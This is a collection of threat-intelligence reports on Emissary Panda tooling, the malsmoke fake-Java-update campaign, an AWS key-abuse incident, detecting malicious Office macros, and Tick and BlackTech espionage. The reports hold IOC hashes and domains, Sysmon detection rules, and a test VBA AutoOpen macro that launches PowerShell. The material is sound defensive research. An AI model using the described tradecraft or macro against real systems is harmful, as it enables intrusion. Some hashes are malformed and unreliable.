| m2.exe | b279a41359367408c627ffa8d80051ed0f04c76fbf6aed79b3b2963203e08ade | Packed Mimikatz tool. |
| psexec.exe | 7eea6e15bb13a3b65cca9405829123761bf7d12c6d3b81ce499d8f6a0b25fb7 | Compiled Impacket psexec. |
| s.exe | 04f48ed27a83a57a971e73072ac5c769709306f2714022770fb364fd575fd462 | HyperBro backdoor. |
| curl.exe | abc16344cdfc78f532870f4dcfb-b75794c9a7074e796477382564d7ba2122c7d | Legitimate cURL. |
| curl.exe | bbb9cd70fdc581812822679e6a875dcf5b7d32fd529a1d564948a5a3f6f9e3ab | Legitimate cURL. |
| checker1.exe | 090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98 | Compiled EternalBlue checker script. |
| etool.exe | 38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c | C# Tool, likely from https://github.com/mubix/netview. |
| plugin_host.exe | 738abaa80e8b6ed21e16302cb91f6566f9322aebf7a2246 | Legitimate Sublime Text plugin host. |
| PYTHON33.dll | 2dde8881cd9b43633d69dfa60f23713d7375913845ac3fe9b4d8a618660c4528 | Sideloaded DLL loaded by Sublime Text. |
| curl.exe | bbb9cd70fdc581812822679e6a875dcf5b7d32fd529a1d564948a5a3f6f9e3ab | Legitimate cURL. |
We saw 17 tools uploaded to the errr.aspx webshell hosted on the SharePoint server of one of the government organizations. The list of tools we observed the actor uploading to the webshell includes tools used to dump credentials, locate, and exploit remote systems, as well as pivoting to other systems on the network.
| Filename | SHA256 | Description |
|-----------------------|--------------------------------------------------------------------------------------------|--------------------------------------------------|
| smb1.exe | 88027a44dc82a97e21f04121eea2e86b4ddf1bd7baa4ad009b97b50307570bd | SMB backdoor based on smbrelay3. |
| mcmd.exe | 738128b4f42c8d2335d68383d72734130c0c4184725c06851498a4cf0374a841 | Compiled zzz_exploit.py. |
| mcafee.exe | 3bca0bb708c5dad1c683c6ead857a5ebfa15928a59211432459a3efa6a1afc59 | Compiled zzz_exploit.py. |
| dump.exe | 29897f2ae25017455f904595872f2430b5f7fedd00ff1a46f1ea77e50940128e | pwdump. |
| checker1.exe | d0df8e1dcf30785a964ecdda9bd86374d35960e1817b25a6b0963da38e0b1333 | Compiled MS17-010 checker. |
| memory.exe | a18326f929229da53d4cc340bde830f75e810122c58b523460c8d6ba62ede0e5 | Packed Mimikatz. |
| checker.exe | 090cefebef655be7f879f2f14bd849ac20c4051d0c13e55410a49789738fad98 | Compiled MS17-010 checker. |
| psexec.exe | 7eea6e15bb13a3b65cca9405829123761bf7d12c6dc3b81ce499d8f6a0b25fb7 | Compiled Impacket psexec. |
| etool.exe | 38fa396770e0ecf60fe1ce089422283e2dc8599489bd18d5eb033255dd8e370c | C# Tool, likely from https://github.com/mubix/netview. |
| smb.exe | 4a26ec5fd16ee13d869d6b0b6177e570444f6a007759ea94f1aa18fa831290a8 | SMB backdoor based on smbrelay3. |
| agent_Win32.exe | b2b2e900aa2e96ff44610032063012aa0435a47a5b416c384bd6e4e58a048ac9 | Termite. |
| smb_exec.exe | 475c7e88a6d73e619ec585a7c9e6e57d2efc8298b688ebc10a3c703322f1a4a7 | httprelay. |
| curl.exe | bbb9cd70fdc581812822679e6a875dcf5b7d32fd529a1d564948a5a3f6f9e3ab | Legitimate cURL. |
| incognito.exe | 9f5f3a9ce156213445d08d1a9ea99356d2136924dc28a8ceca6d528f9dbd718b | Incognito. |
| nbtscan.exe | c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e | nbtscan. |
| fgdump.exe | a6cad2d0f8dc05246846d2a9618fc93b7d97681331d5826f8353e7c3a3206e86 | pwdump. |
| smbexec.exe | e781ce2d795c5dd6b0a5b849a414f5bd05bb99785f2ebf36edb70399205817ee | Compiled Impacket smbexec. |
Two of the tools, specifically the compiled zzz_exploit.py and checker.py, suggest the actor would check and exploit remote systems if they were not patched for MS17-010, which patched the CVE-2017-0144 (EternalBlue) vulnerability. Also, the use of the Mimikatz and pwdump tools suggests the adversary attempts to dump credentials on compromised systems.
## Conclusion
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two government organizations in the Middle East, which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604. According to Microsoft’s advisory, this vulnerability was patched on March 12, 2019, and we first saw the webshell activity on April 1, 2019. This suggests that the threat group was able to quickly leverage a known vulnerability to exploit Internet-facing servers to gain access to targeted networks.
Once the adversary established a foothold on the targeted network, they used China Chopper and other webshells to upload additional tools to the SharePoint server to dump credentials, perform network reconnaissance, and pivot to other systems. We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010. We also observed the actors uploading legitimate tools that would sideload DLLs, specifically the Sublime Text plugin host and Microsoft’s Create Media application, both of which we had never seen used for DLL sideloading before. |
# Malsmoke Operators Abandon Exploit Kits in Favor of Social Engineering Scheme
**Threat Intelligence Team**
November 16, 2020
Exploit kits continue to be used as a malware delivery platform. In 2020, we’ve observed a number of different malvertising campaigns leading to RIG, Fallout, Spelevo, and Purple Fox, among others. In September, we put out a blog post detailing a surge in malvertising via adult websites. One of those campaigns we dubbed ‘malsmoke’ had been active since the beginning of the year. What made it stand out was the fact it was going after top adult portals and had been continuing unabated for months.
Starting mid-October, the threat actors behind malsmoke appear to have phased out the exploit kit delivery chains in favor of a social engineering scheme instead. The new campaign is tricking visitors to adult websites with a fake Java update. This change is significant because it drastically increases the target audience, no longer limiting it to Internet Explorer users running outdated software.
## Top Malvertiser for Months
The malsmoke campaign derives its name from the most frequent payload it dropped via the Fallout exploit kit, namely Smoke Loader. While we see a number of malvertising chains, the majority of them come from low-quality traffic and shady ad networks. Malsmoke goes for high traffic adult portals, hoping to yield the maximum number of infections. For example, malsmoke has been present on xhamster.com, a site with 974 million monthly visits, on and off for months.
> **Malsmoke malvertising campaign continues on xhamster and other top sites.**
> Also, **FalloutEK** seems to have added a new anti-VM check that returns a 404 on the payload session. If your sandbox looks good, that last session should return a 200 and contain the binary.
> — MB Threat Intel (@MBThreatIntel) September 21, 2020
Despite this successful run, malsmoke fell off our radar and we recorded its last activity on October 18. A couple of days prior (October 16), our telemetry registered a new malvertising campaign that uses a decoy page filled with adult images purporting to be movies.
- **Adult site:** bravoporn.com/v/pop.php
- **Ad network:** tsyndicate.com
- **BeMob Ad:** d8z1u.bemobtrcks.com/
- **Decoy adult site:** pornguru.online/B87F22462FDB2928564CED
A couple of weeks later, this campaign added a new domain as part of its redirect chain, but we can see that they are related (including the same identifier marker in the URL).
- **Adult site:** xhamster.com
- **Ad network:** tsyndicate.com
- **Redirect:** landingmonster.online
- **Decoy adult site:** pornislife.online/B87F22462FDB2928564CED
That portal is used as a lure to get people to play adult videos that do not actually exist. Instead, users will be asked to download a fake Java update that is malicious.
## New Social Engineering Trick
The new scheme works across all browsers, including the one with the largest market share, Google Chrome. Here’s how it works: when clicking to play an adult video clip, a new browser window pops up with what looks like a grainy video. The movie plays for a few seconds with audible sound in the background until an overlay message is displayed telling users that the “Java Plug-in 8.0 was not found.” The movie file is a 28-second MPEG-4 clip that has been rendered with a pixelated view on purpose. It is meant to let users believe they need to download a missing piece of software even though this will not help in any way at all.
The threat actors could have designed this fake plugin update in any shape or form. The choice of Java is a bit odd, though, considering it is not typically associated with video streaming. However, those who click and download the so-called update may not be aware of that, and that’s really all that matters.
This fake dialog is reminiscent of the missing ‘HoeflerText font’ campaign used in the EITest traffic redirection schemes. EITest was also known for using exploit kits to distribute malware and at some point switched to a similar social engineering trick to target more users, especially those running the Chrome browser.
## Payload Analysis
The threat actors essentially developed their own utility to download a remote payload that had the advantage of not being easily detected. If you recall, malsmoke previously relied on Smoke Loader to distribute its payloads, whereas now it has its very own loader, thanks to a new evasive MSI installer.
The fake Java update (JavaPlug-in.msi) is a digitally signed Microsoft installer that contains a number of libraries and executables, most of which are legitimate. On installation, lic_service.exe loads HelperDll.dll which is the most important module responsible for deploying the final payload.
HelperDll.dll uses the curl library that is present in the MSI archive to download an encrypted payload from moviehunters.site. This is the ZLoader malware, which is then written to disk and run as: %AppData%\Roaming\microsoft_shared.tmp. ZLoader injects itself into a new msiexec.exe process to contact its command and control server using a Domain Generation Algorithm (DGA). Once it identifies a domain that responds, it starts downloading different modules and optionally an update to ZLoader itself.
## Evolving Web Threats
Malsmoke was one of the most noticeable distributors of malvertising and exploit kits striking on high-profile websites. While we thought the threat actor had gone silent, they simply changed tactics in order to further grow their operations. Instead of targeting a small fraction of visitors to adult sites that were still running Internet Explorer, they’ve now extended their reach to all browsers.
In the absence of high-value software vulnerabilities and exploits, social engineering is an excellent option as it is cost-effective and reliable. As far as web threats go, such schemes are here to stay for the foreseeable future. Malwarebytes Browser Guard already protected users from this malvertising campaign. Additionally, we detect the MSI installer and ZLoader payloads via our Malwarebytes for Windows.
## Indicators of Compromise
- **Redirector:** landingmonster.online
- **Decoy adult portal:** pornislife.online
- **MSI installer:** 87bfbbc345b4f3a59cf90f46b47fc063adcd415614afe4af7afc950a0dfcacc2
- **First C2:** moviehunters.site
- **ZLoader:** 4a30275f14f80c6e11d5a253d7d004eda98651010e0aa47f744cf4105d1676ab
- **ZLoader C2s:**
- iqowijsdakm.ru
- wiewjdmkfjn.ru
- dksaoidiakjd.su
- iweuiqjdakjd.su
- yuidskadjna.su
- olksmadnbdj.su
- odsakmdfnbs.com
- odsakjmdnhsaj.com
- odjdnhsaj.com
- odoishsaj.com |
# Incident Report: From CLI to Console, Chasing an Attacker in AWS
Recently, our SOC detected unauthorized access into one of our customer’s Amazon Web Services (AWS) environments. The attacker used a long-term access key to gain initial access. Once they got in, they were able to abuse the AWS Identity and Access Management (IAM) service to escalate privileges to administrative roles and create two new users and access keys, creating a foothold in their environment. However, we stopped them before the attacker was able to get any further.
In this post, we’ll walk you through how we spotted unauthorized access, the investigative steps we took to understand what the attacker did in AWS, and share our lessons learned and key takeaways from the incident.
## Quick Background
Before we tell you how it went down, for this customer we’re ingesting AWS CloudTrail logs and applying our own custom detections. This customer did not have AWS GuardDuty enabled for their monitored AWS accounts, nor did we have any visibility beyond the AWS control plane.
## Our Initial Lead
Our first clue into the incident was an AWS alert based on CloudTrail logs for a console login from an IAM user originating from an atypical country. From the AWS alert, our SOC was able to extract the following details about the console login:
- The authentication originated from Indonesia
- The type of AWS account was an IAM user
- Multi-factor authentication (MFA) was not used for the authentication
The details about the AWS console login prompted our SOC to ask the following questions:
- Does this IAM user typically login from Indonesia?
- Why is this IAM user authenticating to the console directly and not via an identity provider?
- Why wasn’t MFA used?
These questions certainly raised our suspicion.
**SOC Pro-tip:** IAM accounts typically have long-term access keys associated with them. You’ll see these long-term access keys start with “AKIA.” Most of the AWS incidents we detect were the result of a publicly exposed long-term access key.
The first step in our investigative process was to understand what happened after the successful AWS console login. We used one of our bots, Ruxie™, to gain some more insight. Ruxie automates investigative workflows to surface up more details to our analysts.
We used Ruxie to list the most recent interesting API calls from the AWS account in the initial lead. API calls that are sometimes associated with attacker activities in AWS are highlighted in orange to provide a visual cue to our analysts that something may be amiss.
The list of API calls returned by Ruxie showed us that the source IP address associated with the atypical console login also issued API calls to CreateUser, CreateAccessKey, and AttachUserPolicy. For the AWS defenders out there, it’s important to note that AWS accounts are assigned temporary access keys when authenticating to the AWS console.
Now this activity really has our attention. But why? The CreateUser API call is used to create a new IAM user. The CreateAccessKey API call creates a new long-term access key for a specific user. AttachUserPolicy attaches a specified policy to a specified user.
Therefore, an attacker can use these API calls to:
- Create a new IAM user
- Create a new long-term access key for the user
- Attach a highly privileged policy to the user for elevated access
This series of API calls can give an attacker persistent and elevated access in an AWS environment.
The next question our SOC asked was, “where does this IAM user typically authenticate from?” Ruxie provided our analysts with a list of login activity by region and frequency for the IAM user listed in our lead alert.
**Bottom line:** Logins from Indonesia are highly suspicious.
## How Did the Attacker Obtain AWS Console Credentials?
The next step in our investigative process was to get a more detailed timeline of all AWS API calls issued by the source IP address associated with the lead alert for the console login. This investigative step helps us better understand the actions performed by the attacker.
When examining the detailed timeline of API calls, the attacker first issued a ListUsers API call using the IAM user from the AWS command line interface (aws-cli). We inferred that this IAM user was also compromised since the API call originated from the same IP address recorded in the console login.
Next, the attacker issued two calls to the UpdateLoginProfile API; one for the IAM user (succeeded) and one for another IAM user (failed). Finally, CloudTrail logs recorded a ConsoleLogin from the compromised account.
So as a quick recap, our investigation revealed the attacker took the following steps to gain access to the AWS console:
- Used the AWS access keys for the compromised IAM user to issue a ListUsers API call.
- The results of the ListUsers API call returned the compromised IAM user in the results.
- Issued an API call to UpdateLoginProfile to change the AWS console password for the compromised account.
- Authenticated into the AWS console using the compromised account.
It’s our working theory that the AWS access keys for the compromised account were discovered by the attacker in a publicly available code repository.
## What Else Did the Attacker Do in AWS?
**SOC Pro-tip:** At this point in our investigation, CloudTrail logs indicate the attacker has access to the AWS console for this customer. Therefore, we’re expecting to see attacker activity recorded from different IP addresses associated with AWS.
Immediately following the authentication to the AWS console, the attacker issued the following API calls:
- CreateUser
- CreateAccessKey
- AttachUserPolicy
- CreateLoginProfile
This allowed the attacker to create two new IAM users with accompanying long-term access keys and attached a policy that allowed one of the new users to create and change their AWS console password. For one of the newly created IAM user accounts, the attacker issued an AttachUserPolicy API call to attach an AdministratorAccess policy to the newly created IAM user, allowing the attacker to elevate their privileges in AWS.
Lastly, the attacker used one of the newly created IAM users to make a call to the RequestServiceQuotaIncrease API in order to increase the EC2 quota. It is our opinion that this action was taken in preparation for starting multiple large EC2 instances for cryptocurrency mining. It is at this point that we worked with the customer to begin remediation.
## Remediation in AWS
With the scope of the compromise understood, we provided our customer with the following remediation recommendations:
1. Delete the two created accounts and accompanying access keys for the newly created users.
2. Deactivate the long-term access keys associated with the compromised IAM users.
3. Reset the AWS console password for the compromised IAM users.
We also recommended that the customer ensure AWS access keys are not being accidentally released to the public and implement least privilege with regards to AWS users. Additionally, we recommended the customer implement MFA for IAM user AWS console authentications.
## Lessons Learned
What stood out the most in this incident was the attacker’s technique to use an exposed long-term access key to gain access to the AWS console. Simply put, the attacker wants to go from the aws-cli to the AWS console. To achieve this, the attacker issued API calls UpdateLoginProfile or CreateLoginProfile from an IAM user.
We now have a detection based on CloudTrail logs that alerts our SOC anytime we see these specific API calls originating from an IAM user where the User-Agent is the aws-cli. We’ve added some additional logic to reduce benign noise associated with AWS IP addresses.
We’re also exploring additional detections based on CloudTrail logs where we see newly created IAM users issue API calls to RequestServiceQuotaIncrease to increase the EC2 quota. This could be a signal of potential unauthorized activity in EC2.
While we detected unauthorized activity early in the attack lifecycle, we’re a learning organization and always looking for opportunities to improve our detection and response capabilities in AWS. |
# Hunting Malicious Macros
Taking a look at the MITRE ATT&CK page for malicious macros, it's clear that this technique is a favourite among APT groups. Microsoft Office is indeed ubiquitous in a corporate office setting and presents defenders with a very large attack surface. "Just disable macros" is a great idea, but many critical business processes run on the back of decades-old macros; for better or for worse.
To get a sense of how widely malicious macros are utilized, take a look at the technique via MITRE: T1566.001. In this post, I will cover detection techniques that provide relatively robust coverage for detecting malicious macros in your own environment. I'll be using Sysmon to generate the log data and Splunk to query that data, and I'll also highlight some Sigma rules that can help with macro detections.
Before I dive in, I need to acknowledge that this work definitely stands on the shoulders of giants and I'll be referencing their work heavily throughout.
## Atomic Red Team
Red Canary have done the defensive world a huge solid and have provided a script that generates macros for you so that detections can be tested.
**Note:** Originally, these macro tests download other scripts from the Red Canary repo to do other things with the macro. For the purposes of my testing, however, I only wanted to test the original macro execution, so I modified these scripts slightly to just call out to Google instead of running the full-blown tests.
We generate our macro, which outputs an Excel file. Now let's take a look at what Sysmon shows us when this macro is executed, using the SwiftOnSecurity Config.
Using this basic Splunk Query:
```
index=sysmon EventCode=1 Image=*Excel*
| table Image, ParentImage, CommandLine
```
Gives us these results: Not very interesting; the typical "Excel has Spawned PowerShell or a Command Prompt" detection has failed here, as these macros use techniques which circumvent this particular detection (More details about this are in the Red Canary Blog post linked above).
If we observe Excel behaviour through something like Procmon, we can see that Excel loads specific DLLs when a macro is loaded. We can configure Sysmon to look for this type of behaviour.
Let's enhance our Sysmon config a little bit with the following:
```
<RuleGroup name="" groupRelation="or">
<ImageLoad onmatch="include">
<Rule name="Macro Image Load" groupRelation="or">
<ImageLoaded condition="end with">VBE7INTL.DLL</ImageLoaded>
<ImageLoaded condition="end with">VBE7.DLL</ImageLoaded>
<ImageLoaded condition="end with">VBEUI.DLL</ImageLoaded>
</Rule>
</ImageLoad>
</RuleGroup>
```
With this logic, we should see an event when any of the above DLLs are loaded. After updating the Sysmon config and running the macro again, we can now do something like:
```
index=sysmon RuleName="Macro Image Load"
| stats values(ImageLoaded) by Image
```
Which gives us these results: Now we know that a macro was executed by Excel, which is a great start. As mentioned earlier, these macro tests break typical process hierarchy detections, so searching for what spawned out of Excel directly is not going to work in this case.
All we know so far from a detection standpoint is that Excel executed some kind of macro, but we don't know what the macro did or whether it was malicious or not. We can, however, pivot off the data point that we do have and group our events by time to see what was launched around the time that the Excel macro was executed.
```
index=sysmon
| bin span=5s _time
| stats values(RuleName), values(Image), values(CommandLine) by _time
```
We group our events into buckets of 5-second time intervals - my thinking here is the malicious processes executed via the macro may not spawn directly from Excel, but they would be grouped together tightly by time. In this query, I am not querying for a specific event type; I just want to see all Sysmon events grouped into time buckets, and then I want to take a look at the events surrounding the "Macro Image Load" rule name.
Let's take a look at the results: We caught some false positives in our little dragnet, but also found the 'malicious' commands executed by our macro.
Continuing with the Red Canary macro tests, let's look at option 2 in the tests: Chain Reaction Download and execute with Excel, wmiprvse. Using the same time bucketing technique, we can see the execution of wmiprvse.exe around the time that an Excel macro was launched.
If we observe Excel behaviour when launching normally versus launching a macro that loads wmiprvse.exe, we can see the wbemdisp.dll being loaded, so let's add that to our Sysmon config as well:
```
<Rule groupRelation="and" name="Office WMI Image Load">
<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
<ImageLoaded condition="is">C:\Windows\SysWOW64\wbem\wbemdisp.dll</ImageLoaded>
</Rule>
```
I came across this particular detection technique in Samir's fantastic blog post. If you are at all interested in Threat Hunting, I highly encourage you to check that blog out and give Samir a follow. This rule will fire when the wbemdisp.dll is loaded by any executable within the Office16 folder; it can be tuned to be more specific as well.
Here's what the data looks like in Splunk: Now let's take a look at the Red Canary tests number 4 and 5 - Shell and ShellBrowserWindow. These two methods interact with COM, so we can configure our Sysmon Config as follows:
```
<Rule groupRelation="and" name="Office COM Image Load - Combase">
<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
<ImageLoaded condition="is">C:\Windows\SysWOW64\combase.dll</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office COM Image Load - coml2">
<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
<ImageLoaded condition="is">C:\Windows\SysWOW64\coml2.dll</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office COM Image Load - comsvc">
<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
<ImageLoaded condition="is">C:\Windows\SysWOW64\comsvcs.dll</ImageLoaded>
</Rule>
```
Firing up our macros again and looking at the following Splunk query:
```
index=sysmon Image=*Excel*
| stats values(ImageLoaded) by Image, RuleName
```
We can see Excel loading the Macro as well as COM DLLs: Now we know that Excel launched some kind of macro and used COM, neat!
## Excel 4 Macros
Outflank publishes tons of next-level macro techniques regularly. Let's take a look at the following script which is a Proof of Concept that uses COM to generate an Excel 4 Macro to load Shellcode via JScript. A few things stand out as abnormal using this technique; using the data we have already in our Sysmon config, we can see:
- Excel Loading a COM DLL
- Excel being launched from a non-standard directory
## RunPE
I used Clement Labro's implementation of RunPE in my testing. Clement describes the technique succinctly: [RunPE] consists in running code inside the memory of a legit process in order to hide its actual activity. To my simpleton brain, if I hear "inside the memory of a legit process," I think of injection, so let's configure our Sysmon config to look for this, with the following snippet:
```
<RuleGroup name="" groupRelation="or">
<ProcessAccess onmatch="include">
<Rule groupRelation="and" name="Office Injection via VBA">
<SourceImage condition="begin with">C:\Program Files (x86)\Microsoft Office\Root\Office16\</SourceImage>
<CallTrace condition="contains">\Microsoft Shared\VBA</CallTrace>
</Rule>
</ProcessAccess>
</RuleGroup>
```
Taking a look at the data this produces, we see Word injecting into Word via VBA: Putting the pieces together a little bit, we're starting to get a good idea of what our Office Processes are doing. We can see:
- WMI ImageLoads by Office Processes
- VBA ImageLoads by Office Processes
- Office Injections via VBA
- COM use by Office Processes
## Evil Clippy
EvilClippy is a tool created by Outflank that provides functionality to stomp VBA code and hide macros from the Office GUI. I want to keep things super simple, so I'm using the following "real" VBA code:
```vba
Sub AutoOpen()
Call Shell("powershell.exe", vbNormalFocus)
End Sub
```
To launch a PowerShell Window when I open up my Word doc, but I'm using EvilClippy to 'stomp' the document with the following VBA Code:
```vba
Sub AutoOpen()
Call Shell("calc.exe", vbNormalFocus)
End Sub
```
This is what my document looks like; the VBA code is telling me the macro will launch calc, but when I Enable Content, the document will launch PowerShell instead, sneaky!
While Sysmon can't detect VBA Stomping specifically, our current Sysmon config gives us a bunch of clues that a macro was executed and that our Word document executed PowerShell. Looking at the following Splunk query:
```
index=sysmon EventCode=10
| table SourceImage, TargetImage, RuleName
```
We can see our earlier injection Sysmon config snippet being put to work.
## Putting it together - Covenant
Thus far, we've looked at isolated techniques, but how well does our Sysmon configuration work for a macro that launches a Covenant stager - let's find out. Covenant is available here: And I am using the following post to generate my Macro. With everything in place, we can start our Word document and confirm that we see the callback in Covenant.
Checking our logs, we see that the VBA Images were loaded, so we know a macro ran, but not much else; there's no processes spawned from Word since everything happens in memory. How can we enhance our detections further? We know that Covenant is a .NET framework, so we can assume that it needs to load some type of .NET DLLs at startup.
Let's add the following to our Sysmon config:
```
<Rule groupRelation="and" name="Office .NET Abuse: Assembly DLLs">
<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
<ImageLoaded condition="begin with">C:\Windows\assembly\</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office .NET Abuse: GAC">
<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
<ImageLoaded condition="begin with">C:\Windows\Microsoft.NET\assembly\GAC_MSIL</ImageLoaded>
</Rule>
<Rule groupRelation="and" name="Office .NET Abuse: CLR">
<Image condition="begin with">C:\Program Files (x86)\Microsoft Office\root\Office16\</Image>
<ImageLoaded condition="end with">clr.dll</ImageLoaded>
</Rule>
```
Let's run our macro again and check the logs with the following query:
```
index=sysmon EventCode=7
| stats values(ImageLoaded) by Image, RuleName
```
Now you know that a macro was executed and that the Office process executing the macro loaded the DLLs necessary for some kind of .NET functionality, a great jumping-off point for further investigation.
Check out the Sigma Repo where I contributed a few rules looking for this kind of activity.
## Bonus Round - Velociraptor
Now that your cool new macro alerts have fired, you'd probably want to take a closer look at the host. Let's try that with Velociraptor; we find our host and collect some macro artifacts. Now we take a look at the results, and we can see that not only did Velociraptor find our macros, but it also ripped them open, revealing the actual VBA code.
We can also see the output of any Trust Record modifications for further evidence of macro execution. The folks at Outflank made a nice post about trust records here, including providing a Sysmon config snippet to monitor for this kind of activity in real-time.
## Closing Notes
My aim with this post was to provide some detection ideas for an attack vector that is commonly utilized by real-world malware and attackers. The Sysmon configuration snippets, Splunk queries, and Sigma rules will undoubtedly generate false positives in a real corporate environment and are not a silver bullet for detecting malicious attacker activity via macros. I'm sure there are bypasses available and used for this stuff, but you have to start somewhere and at least make attackers work for a foothold in your environment. |
# Cyber Espionage Tradecraft in the Real World
## Adversaries targeting Taiwan and Japan in the second half of 2019
### Introduction
This report is a public release of research that Macnica Networks and TeamT5 have conducted into the cyber espionage groups targeting organizations in Taiwan and Japan. It has been created to bring awareness to attack campaigns observed in the 2019 fiscal year (April 2019 to March 2020) that were perpetrated in attempts to steal confidential information (personal identifiable information, policy-related information, manufacturing data, etc.) from Japanese organizations. Focusing mainly on cases involving the use of high-stealth remote access trojans (RATs) observed in the second half of fiscal 2019, it describes new attack techniques and how such threats can be detected. Lists of the indicators used in the various attack campaigns described within this report are provided at the end.
### Targeted industries and trends of observed cyber attacks
Although the Tick and BlackTech have continued to be very active, as was observed in the preceding year, analysis of trends in cyber attacks in fiscal 2019 shows that the number of cyber espionage groups targeting Japan has decreased in this fiscal year. Because of the increased activities of the DarkHotel targeting media in the first half of the year, the overall number of attacks on media was high. In the second half of the year, activities of the BlackTech targeting IT service companies were observed. In the observations from the previous fiscal year, industry types targeted by the BlackTech attack were predominantly manufacturing industries; however, in this fiscal year, its attacks have been wide-ranging, including research, critical infrastructure, IT services, and more. Analysis suggests that it may be attempting to steal not only technical information from manufacturing industries but also PII (Personal Identifiable Information) and business intelligence. Moreover, two major electronics companies have announced that they experienced targeted attacks around 2017 and 2018. According to public reports, a major electronics company was infiltrated by the Chinese APTs Nian (A.K.A. Tick) and Huapi (A.K.A. BlackTech). Massive confidential information of the company as well as its customers, including several government agencies and other companies from industries such as electrical power, communications, railways, automotive, and more, were estimated to be affected. The initial intrusion occurred at the company’s Chinese branch office. By exploiting the update function of anti-virus software used by the office, the attacker was able to distribute malware and gain access to the company headquarters. Identified vulnerabilities of the anti-virus product were CVE-2019-9489 and CVE-2019-18187, which allow modification of files and remote code execution. It was not until this year that this intrusion was revealed by the company; therefore, it was not included in the statistics of our reports in 2018-2019. This incident has again highlighted the difficulty of detecting attacks and intrusion launched by APT actors, meaning that the statistics of our report often show only the tip of the iceberg. We hope that the attack techniques described herein will be a useful reference for cyber security teams to defend against cyber espionage operations.
### Timeline and summary of attacks
Cyber espionage group activities identified in each month from April to March are shown in the table below. Analysis shows that activities of the Tick and BlackTech decreased after September. On the other hand, these groups continued to make attacks against organizations in which they had already gained a foothold before, and going into the second half of the year, discoveries were made of activities of the Tick group against chemical industry organizations in September and activities of the BlackTech attack group against IT service companies in February. Also, although they have not yet been tied to any particular group, attacks were observed in December and January that used a RAT (LODEINFO) that is similar in structure to the ANEL malware used in past attacks by the APT10 attack group.
#### September 2019 (Chemical)
Attacks by the Tick group on the Chinese offices of Japanese chemical industry organizations were observed. The malware used in these attacks left a pdb (C:\Users\jack\Desktop\test\version\Release\version.pdb), and from this character string and function, the malware was named “version RAT.” Version RAT was developed to run only in a Windows 10 environment. It includes three remote-controlled functions: execution of a remote shell, file uploading, and file downloading. Because it is designed to operate only in a specific OS environment, analysis suggests that it may have been used after the Tick group first obtained some degree of knowledge about the targeted environment.
#### December 2019 (Media)
At the end of December 2019, spear phishing e-mail disguised as New Year’s greetings was delivered to media companies and other industries. The attached file was a Word document with an embedded macro which, when activated, caused malware to be written into the disk and executed. This malware was a DLL file. When it runs, it carries out its operations by injecting malicious code into a svchost.exe process. It possesses an instruction set similar to Unix commands and is known as LODEINFO malware.
#### January 2020 (Defense)
Going into January 2020, spear phishing e-mail attacks were observed targeting defense-related organizations with an Office macro file attachment designed to drop LODEINFO malware.
#### February 2020 (IT services)
We observed BlackTech’s 32-bit ELF malware which runs on the Linux OS platform uploaded to a public malware repository, and we assume the victim probably was an IT service organization. It has been noted that this malware is similar to TsCookie malware which is one of BlackTech’s tools.
### New TTPs and RATs
In this section, we will present information, in some detail, focusing on observations and analyses not yet touched on by the published reports previously cited.
#### Tick
**Evolving Downloader**
In September 2019, an attack on a Japanese company’s office in China was observed. Analysis of the techniques (the functions of the malware, the characteristics of the code level, the exploitation of the legitimate Websites as C2 servers) and the targeted industry suggests that this attack was made by the Tick group. The malware used incorporated the anti-virus product deactivation and encryption implementation seen in downloader malwares previously used by Tick, and it seems that Tick has been carrying out continual updates of their downloaders. A particularly significant characteristic is the implementation of a remote shell feature. Previously, target verification with a downloader had been carried out using the information automatically collected from an infected device. The collected information was uploaded to an external server. If the uploaded information fulfills the condition implemented in the server, the next payload would be delivered. This was the first time for us to observe that Tick implemented a remote shell feature in its downloader. This is thought to be used for gathering a greater amount of information to increase the precision of target verification. Based on the remaining debug information file (pdb) name and functions, we named this malware “version RAT.”
### Conclusion
In 2019, Tick group and BlackTech were major players targeting Japan. While spear phishing is still a major attack vector, exploiting vulnerabilities of internet-facing devices is becoming more popular among not only cybercrimes but also state-sponsored espionage groups. Misusing legitimate services including cloud platforms and exploiting legitimate Websites for C2 servers make it more challenging to detect by traditional security solutions. More visualization by solutions like EDR, NDR is important; however, analysis by internal and external experts is also important to detect in the early phase and minimize the impact. Cyber threat intelligence can also provide more context and help our security life cycle. Global organizations that have branch offices overseas should be aware that any branch offices are possible initial intrusion points for targeted attacks. For example, the Tick adversary initially gained access to a China branch office and then laterally moved to the headquarters office in Japan. It is possible that targeted attackers think that it is easier to compromise a more vulnerable branch office first and then move to headquarters via the internal network than to directly compromise headquarters. Especially global organizations that have been attacked by targeted attacks are recommended to do a compromised assessment before connecting branch office’s network to headquarters and it is important to discuss security implementation with the global team.
### Indicators of Compromise (IOCs)
**Tick/Bronze Butler**
- **SHA256**: ec052815b350fc5b5a3873add2b1e14e2c153cd78a4f3cc16d52075db3f47f49
- **Compile Date (UTC)**: 2019-08-05 23:51:07
- **Architecture**: x86
- **Linker Version**: 10.0
- **SHA256**: e3624fdb484ae20c47f2e54bda914a12776c8e65b0fe0c6f23640452d37c1545
- **Compile Date (UTC)**: 2019-08-04 20:26:17
- **Architecture**: x86
- **Linker Version**: 10.0
- **SHA256**: d2d5b3e48bb8ac413f f fa230bf913283a7c1009981dec20e610f1020ee720fa6
- **Compile Date (UTC)**: 2019-08-20 00:24:26
- **Architecture**: x86
- **Linker Version**: 10.0
- **SHA256**: 80f faea12a5f fb502d6ce110e251024e7ac517025bf95daa49e6ea6ddd0c7d5b
- **Compile Date (UTC)**: 2019-03-28 20:18:52
- **Architecture**: x86
- **Linker Version**: 10.0
